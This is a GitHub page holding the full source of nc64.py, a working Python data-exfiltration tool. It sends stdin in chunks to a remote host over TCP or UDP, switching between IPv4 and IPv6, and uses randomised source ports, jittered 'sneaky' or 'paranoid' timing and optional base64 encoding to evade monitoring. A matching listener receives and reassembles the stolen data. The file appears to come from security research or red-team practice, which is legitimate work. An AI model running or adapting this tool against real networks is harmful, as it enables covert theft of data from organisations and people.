-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathnc64.py
635 lines (544 loc) · 18.8 KB
/
nc64.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
#!/usr/bin/python3 -tt
# -*- coding: utf-8 -*-
#
# (C) 2016 Bernhards 'Lockout' Blumbergs
# See LICENSE file for usage conditions
#
# Known issues:
# 1. TCP socket reuse problems once the socket has been closed
# 2. UDP socket spoofing, port reuse problems
# 3. Keepalive does not print out the previous buffer befoe new one is received
# 4. When sending UDP datagrams as fast as possible they do not arrive at the
# destination (of course). If file is being reassembled, EOF is not received
# 5. Performance degradation when hashing is used (of course)
#
# To be implemented:
# 1. Payload XOR encryption with a shared key
# 2. SSL signing and handshake for SSH, HTTPS traffic spoofing
# 3. Custom SSL certificate provision
# 4. Logging instead of printing verbose messages on the screen
# 5. Multiple IPv6 destination addresses as list for random selection
__version__ = "0.72.1/Devon"
import socket
import sys
import argparse
import base64
import random
import signal
from os import urandom
from time import sleep, time
from math import ceil
from hashlib import md5
def signal_handler(signal, frame):
sys.exit(0)
def hashsum(data):
"""
Calculates the exfiltrated data MD5 hash sum
"""
global hash_sum
if data:
data_hash = int(md5(data).hexdigest(), 16)
hash_sum += data_hash
def send64(data, mode):
"""
Send the specified data to the destination socket
over IPv6 and IPv4 interchangeably
"""
global data_sent
version = ip_version(args.ip_version_select)
if version == 4:
host = args.host4
if version == 6:
host = args.host6
if not args.udp and not args.tcp:
if args.verbose >= 2:
print("[+] Defaulting to UDP protocol")
args.udp = True
if args.udp:
if version == 4:
sock = socket.socket(
socket.AF_INET, # IPv4
socket.SOCK_DGRAM) # UDP socket
if version == 6:
sock = socket.socket(
socket.AF_INET6, # IPv6
socket.SOCK_DGRAM) # UDP socket
socket.SO_BINDTODEVICE = 25 # If not specified by the system
sock.setsockopt(
socket.SOL_SOCKET,
socket.SO_BINDTODEVICE,
args.interface.encode())
SourcePort = None
IPaddress = None
if args.source_port: # Set UDP source IP:port
SourcePort = args.source_port
if args.randomize_source_port:
SourcePort = random.randint(1024, 65535)
if args.source_ip4 and version == 4:
IPaddress = args.source_ip4
if args.source_ip6 and version == 6:
IPaddress = args.source_ip6
if SourcePort and not IPaddress: # TODO: Binding problems!
sock.bind(('', SourcePort)) # Currently works only
if IPaddress and not SourcePort: # for ports and not IPs
sock.bind((IPaddress))
if IPaddress and SourcePort:
sock.bind((IPaddress, SourcePort))
if args.verbose >= 1:
print(
"[*] IPv{0} UDP socket to"
" {1}:{2} via {3}".format(
version, host, port, args.interface)
)
if args.hashing: # Calculate hash before b64
hashsum(data)
if args.verbose >= 2:
print(
"[+] Exfiltrated data block hash sum: {0}".format(
hex(hash_sum))
)
if args.base64:
data = base64.b64encode(data)
if args.verbose >= 3:
print(
"[D] Base64 decoded data {0} bytes:\n{1}".format(
len(base64.b64decode(data)), base64.b64decode(data))
)
sock.sendto(data, (host, port)) # Send UDP datagram
data_sent += len(data)
if args.verbose >= 3:
print(
"[D] Buffer {0} bytes sent:\n{1}".format(
len(data), data)
)
sock.close()
return(True) # Send success
if args.tcp:
if version == 4:
sock = socket.socket(
socket.AF_INET, # IPv4
socket.SOCK_STREAM) # TCP socket
if version == 6:
sock = socket.socket(
socket.AF_INET6, # IPv6
socket.SOCK_STREAM) # TCP socket
socket.SO_BINDTODEVICE = 25 # If not specified by the system
sock.setsockopt(
socket.SOL_SOCKET,
socket.SO_BINDTODEVICE,
args.interface.encode())
try:
if args.source_port: # Set TCP source port
sock.bind(('', args.source_port)) # TODO: Set source IPv4/6
except OSError as error: # TODO: TCP socket reuse
if args.verbose >= 3:
print("[!] {0}".format(error))
sock.setsockopt(
socket.SOL_SOCKET,
socket.SO_REUSEADDR,
1)
# sock.bind(('', args.source_port))
if args.verbose >= 1:
print(
"[*] IPv{0} Connecting to TCP"
" socket {1}:{2} via {3}".format(
version, host, port, args.interface)
)
sock.connect((host, port))
if args.verbose >= 1:
print("[*] TCP socket connected")
if args.hashing: # Calculate hash before b64
hashsum(data)
if args.verbose >= 2:
print(
"[+] Exfiltrated data block hash sum: {0}".format(
hex(hash_sum))
)
if args.base64:
data = base64.b64encode(data)
if args.verbose >= 3:
print(
"[D] Base64 decoded data {0} bytes:\n{1}".format(
len(base64.b64decode(data)), base64.b64decode(data))
)
sock.send(data) # Send TCP stream
data_sent += len(data)
if args.verbose >= 3:
print(
"[D] Buffer {0} bytes sent:\n{1}".format(
len(data), data)
)
sock.close()
return(True) # Send success
def ip_version(sel_type):
"""
IP version selection algorithms
"""
random.seed(a=urandom(100)) # Initialize seed urandom
ipv4_only = False
ipv6_only = False
if sel_type == 0: # Random odd selection
r = random.randint(1, 100)
if r % 2 == 0:
version = 6
else:
version = 4
elif sel_type == 1: # Random selection
version = random.sample([4, 6], 1)[0]
elif sel_type == 2:
version = random.choice([4, 6])
elif sel_type == 3:
if random.random() >= 0.5:
version = 6
else:
version = 4
elif sel_type == 4: # IPv4 only
version = 4
ipv4_only = True
elif sel_type == 6: # IPv6 only
version = 6
ipv6_only = True
global ip6_sessions_total # Session tracking
global ip4_sessions_total
global ip6_sessions
global ip4_sessions
if version == 6:
ip6_sessions += 1
ip6_sessions_total += 1
if version == 4:
ip4_sessions += 1
ip4_sessions_total += 1
if ip6_sessions > args.max_subsequent_sessions and not ipv6_only:
version = 4
ip6_sessions = 0
ip4_sessions = 1
ip6_sessions_total -= 1
ip4_sessions_total += 1
if args.verbose >= 2:
print(
"[+] Maximum number of subsequent {0}"
" IPv6 sessios reached".format(
args.max_subsequent_sessions)
)
if ip4_sessions > args.max_subsequent_sessions and not ipv4_only:
version = 6
ip4_sessions = 0
ip6_sessions = 1
ip4_sessions_total -= 1
ip6_sessions_total += 1
if args.verbose >= 2:
print(
"[+] Maximum number of subsequent {0}"
" IPv4 sessios reached".format(
args.max_subsequent_sessions)
)
return(version)
def wait():
"""
Session timing (seconds)
"""
if args.timing_set == -1:
if args.timing == 0:
sleep_time = 0.15 # Insane
if args.verbose >= 2:
print("[+] Insane send at {0}s".format(sleep_time))
elif args.timing == 1:
sleep_time = 3 # Agressive
if args.verbose >= 2:
print("[+] Agressive send at {0}s".format(sleep_time))
elif args.timing == 2:
sleep_time = 15 # Polite
if args.verbose >= 2:
print("[+] Polite send at {0}s".format(sleep_time))
elif args.timing == 3:
sleep_time = 30 # Sneaky
if args.verbose >= 2:
print("[+] Sneaky send at {0}s".format(sleep_time))
elif args.timing >= 4:
sleep_time = 300 # Paranoid
if args.verbose >= 2:
print("[+] Paranoid send at {0}s".format(sleep_time))
if args.timing_set >= 0: # Custom timing
sleep_time = args.timing_set
if args.verbose >= 2:
print(
"[+] Custom interval timing of {0}s".format(
sleep_time)
)
if args.timing_randomize:
sleep_time = sleep_time + random.uniform(-0.4, 0.4) * sleep_time
if args.verbose >= 2:
print(
"[+] Session interval randomized to {0}s".format(
sleep_time)
)
sleep(sleep_time)
return(True)
# Command line option parser
parser = argparse.ArgumentParser(
description="Exfiltrate data over dual-stack IPv4 and IPv6 sessions",
)
parser.add_argument(
'-t', '--tcp',
action="store_true",
help="Use TCP")
parser.add_argument(
'-u', '--udp',
action="store_true",
help="Use UDP. Default: udp")
parser.add_argument(
'-l', '--listen',
action="store_true",
help="Listen (server) mode. Default: send (client)")
parser.add_argument(
'-b64', '--base64',
action="store_true",
help="Base64 encode/decode the payload")
parser.add_argument(
'-b', '--buffer',
type=int,
default=500,
help="Buffer size. Default: 500")
parser.add_argument(
'-h4', '--host4',
type=str,
default="127.0.0.1",
help="Host IPv4 address. Default: 127.0.0.1")
parser.add_argument(
'-h6', '--host6',
type=str,
default="::1",
help="Host IPv6 address. Default: ::1")
parser.add_argument(
'-p', '--port',
type=int,
default=443,
help="Destination or listen port. Default: 443")
parser.add_argument(
'-i', '--interface',
type=str,
default="eth0",
help="Network interface. Default: eth0")
parser.add_argument(
'-v', '--verbose',
action="count",
default=0,
help="Increase verbosity")
parser.add_argument(
'--show_stat',
action="store_true",
help="Show exfiltration statistics. On if verbosity used")
parser.add_argument(
'-T', '--timing',
type=int,
default=1,
help="Session delay timing level 0-4. Default: 1")
parser.add_argument( # TODO: Implement TCP
'-sp', '--source_port', # source port
type=int,
help="Specify source port. UDP only")
parser.add_argument(
'--randomize_source_port',
action="store_true",
help="Randomize source port. Default:1024-65535")
parser.add_argument(
'-sip4', '--source_ip4',
type=str,
help="Specify source IPv4. UDP only")
parser.add_argument(
'-sip6', '--source_ip6',
type=str,
help="Specify source IPv6. UDP only")
parser.add_argument(
'-k', '--keepalive',
action="store_true",
help="Keep the listener alive. Default: False")
parser.add_argument(
'--timing_randomize',
action="store_true",
help="Randomize session delay timing. Default: False")
parser.add_argument(
'--timing_set',
type=int,
default=-1,
help="Set custom timing. Default: Disabled")
parser.add_argument(
'--ip_version_select',
type=int,
default=0,
help="Choose random IP version selection approach")
parser.add_argument(
'--max_subsequent_sessions',
type=int,
default=3,
help="Maxmimum number of subsequent sessions of same IP version."
" Default: 3")
parser.add_argument(
'--hashing',
action="store_true",
help="calculate exfiltrated data hash sum. Default: False")
parser.add_argument(
'-V', '--version',
action="store_true",
help="Print program version and exit")
args = parser.parse_args()
if args.version:
print("Version: ", __version__)
sys.exit(0)
# Program variables
buffer_size = args.buffer
host4 = args.host4
host6 = args.host6
port = args.port
ip6_sessions = 0
ip4_sessions = 0
ip6_sessions_total = 0
ip4_sessions_total = 0
data_sent = 0
hash_sum = 0x0
# Main routine
# Client mode
if not args.listen:
if args.verbose >= 1:
print("[*] Client mode")
start_time = time()
buff = 0
read_data = b""
data = b""
while True:
read_data = sys.stdin.buffer.read(1)
if not read_data: # End of input or EOF
send64(data, 0)
break
data += read_data
buff += 1
if buff == buffer_size:
send64(data, 0)
wait()
buff = 0
data = b""
send64(b"", 0) # End of transmission
end_time = time() # Can be profiled?
if args.verbose >= 1 or args.show_stat:
print(
"[*] SUMMARY: IPv4 sessions: {0}, IPv6 sessions: {1}, "
"Total sessions: {2}, Data: {3}B, Time: {4: .2f}s".format(
ip4_sessions_total, ip6_sessions_total,
ip4_sessions_total + ip6_sessions_total,
data_sent,
end_time - start_time)
)
if args.hashing:
print(
"[+] Exfiltrated data hash sum: {0}".format(
hex(hash_sum))
)
# Listen mode
if args.listen:
signal.signal(signal.SIGINT, signal_handler) # Terminate on Crl+C
if args.verbose >= 1:
print("[*] Listen mode")
if args.base64:
buffer_size = ceil(buffer_size * 1.5) # Increase receive buffer size
if not args.udp and not args.tcp:
if args.verbose >= 2:
print("[+] Defaulting to UDP protocol")
args.udp = True
if args.udp:
sock64 = socket.socket(
socket.AF_INET6, # IPv6
socket.SOCK_DGRAM) # UDP
socket.SO_BINDTODEVICE = 25 # If not specified by system
sock64.setsockopt(
socket.SOL_SOCKET,
socket.SO_BINDTODEVICE,
args.interface.encode())
sock64.bind(('::', port)) # Listen on both protocols
if args.verbose >= 1:
print(
"[*] Listening on {0} IPv4:'{1}'"
" IPv6:'{2}' port:{3} protocol:UDP".format(
args.interface, host4, host6, port)
)
while True:
data64, addr64 = sock64.recvfrom(buffer_size)
if data64:
if args.verbose >= 2:
print("\n[+] Received from {0}".format(addr64))
if args.base64:
if args.verbose >= 3:
print(
"\n[D] Base64 encoded data {0} bytes:\n{1}".format(
len(data64), data64)
)
data64 = base64.b64decode(data64)
if args.hashing:
hashsum(data64)
if args.verbose >= 2:
print(
"\n[+] Data block hash sum: {0}".format(
hex(hash_sum))
)
sys.stdout.buffer.write(data64)
else:
if args.keepalive: # TODO: Fix data output!
continue # data not output to stderr
else:
break
sock64.close()
if args.show_stat or args.verbose >= 1:
if args.hashing:
print(
"\n[+] Exfiltrated data hash sum: {0}".format(
hex(hash_sum))
)
if args.tcp:
sock64 = socket.socket(
socket.AF_INET6, # IPv6
socket.SOCK_STREAM) # TCP
socket.SO_BINDTODEVICE = 25 # If not specified by system
sock64.setsockopt(
socket.SOL_SOCKET,
socket.SO_BINDTODEVICE,
args.interface.encode())
sock64.bind(('::', port)) # Listen on both protocols
sock64.listen(1)
if args.verbose >= 1:
print(
"[*] Listening on {0} IPv4:'{1}'"
" IPv6:'{2}' port:{3} protocol:TCP".format(
args.interface, host4, host6, port)
)
while True:
conn64, addr64 = sock64.accept()
data64 = conn64.recv(buffer_size)
if data64:
if args.verbose >= 2:
print("\n[+] Received from {0}".format(addr64))
if args.base64:
if args.verbose >= 3:
print(
"\n[D] Base64 encoded data {0} bytes:\n{1}".format(
len(data64), data64)
)
data64 = base64.b64decode(data64)
if args.hashing:
hashsum(data64)
if args.verbose >= 2:
print(
"\n[+] Data block hash sum: {0}".format(
hex(hash_sum))
)
sys.stdout.buffer.write(data64)
else:
if args.keepalive: # TODO: Fix data output!
continue # data not output to stderr
else:
break
sock64.close()
if args.show_stat or args.verbose >= 1:
if args.hashing:
print(
"\n[+] Exfiltrated data hash sum: {0}".format(
hex(hash_sum))
)